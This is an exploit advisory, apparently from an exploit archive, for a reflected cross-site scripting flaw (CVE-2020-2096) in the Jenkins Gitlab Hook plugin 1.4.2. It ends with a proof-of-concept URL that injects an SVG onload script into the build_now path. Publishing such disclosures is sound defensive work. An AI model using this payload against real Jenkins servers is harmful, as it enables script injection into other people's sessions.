Jenkins Gitlab Hook plugin version 1.4.2 suffers from a cross site scripting vulnerability.
38931217cabd4d17c01cf04d878ac4d8c49d23973f783f5ba2fd442676454822
# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting
# Exploit Author: Ai Ho
# Vendor Homepage : https://jenkins.io/
# Effective version : Gitlab Hook Plugin 1.4.2 and earlier
# References: https://jenkins.io/security/advisory/2020-01-15/
# CVE: CVE-2020-2096
# PoC:
http://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E